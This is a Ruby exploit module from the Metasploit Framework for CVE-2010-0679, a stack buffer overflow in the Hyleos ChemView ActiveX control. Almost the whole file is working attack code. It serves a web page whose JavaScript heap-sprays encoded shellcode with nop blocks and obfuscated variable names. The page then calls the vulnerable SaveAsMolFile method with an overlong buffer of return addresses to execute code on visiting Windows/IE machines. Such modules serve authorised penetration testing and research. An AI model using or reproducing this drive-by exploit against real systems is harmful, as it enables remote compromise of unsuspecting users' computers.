140 lines
4.3 KiB
Ruby
140 lines
4.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking # heap spray :-/
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Hyleos ChemView ActiveX Control Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow within version 1.9.5.1 of Hyleos
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ChemView (HyleosChemView.ocx). By calling the 'SaveAsMolFile' or 'ReadMolFile' methods
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with an overly long first argument, an attacker can overrun a buffer and execute
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arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Paul Craig <paul.craig[at]security-assessment.com>', # original discovery/advisory
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'Dz_attacker <dz_attacker[at]hotmail.fr>', # original file format module
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'jduck' # converted HttpServer module
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-0679' ],
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[ 'OSVDB', '62276' ],
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[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/11422/' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]
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],
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'DisclosureDate' => 'Feb 10 2010',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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clsid = "C372350A-1D5A-44DC-A759-767FC553D96C"
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progid = "HyleosChemView.HLChemView"
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methods = [ "ReadMolFile", "SaveAsMolFile" ]
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method = methods[rand(methods.length)]
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method = "SaveAsMolFile"
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# It may be possible to create a more robust exploit, however --
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# 1. The control's base address has been shown to vary (seen at 0x1c90000 and 0x1d90000)
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# 2. The buffer overflow does not appear to be entirely straight forward.
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))
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# Setup exploit buffers
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nops = Rex::Text.to_unescape([target.ret].pack('V'))
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ret = Rex::Text.uri_encode([target.ret].pack('L'))
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blocksize = 0x40000
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fillto = 300
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offset = target['Offset']
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# Randomize the javascript variable names
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chemview = rand_text_alpha(rand(100) + 1)
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j_shellcode = rand_text_alpha(rand(100) + 1)
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j_nops = rand_text_alpha(rand(100) + 1)
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j_ret = rand_text_alpha(rand(100) + 1)
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j_headersize = rand_text_alpha(rand(100) + 1)
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j_slackspace = rand_text_alpha(rand(100) + 1)
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j_fillblock = rand_text_alpha(rand(100) + 1)
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j_block = rand_text_alpha(rand(100) + 1)
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j_memory = rand_text_alpha(rand(100) + 1)
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j_counter = rand_text_alpha(rand(30) + 2)
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content = %Q|<html>
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<object classid='clsid:#{clsid}' id='#{chemview}'></object>
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<script>
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#{j_shellcode}=unescape('#{shellcode}');
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#{j_nops}=unescape('#{nops}');
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#{j_headersize}=20;
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#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
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while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
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#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
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#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
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while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
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#{j_memory}=new Array();
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for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
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var #{j_ret}='';
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for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
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#{chemview}.#{method}(#{j_ret});
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</script>
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</html>|
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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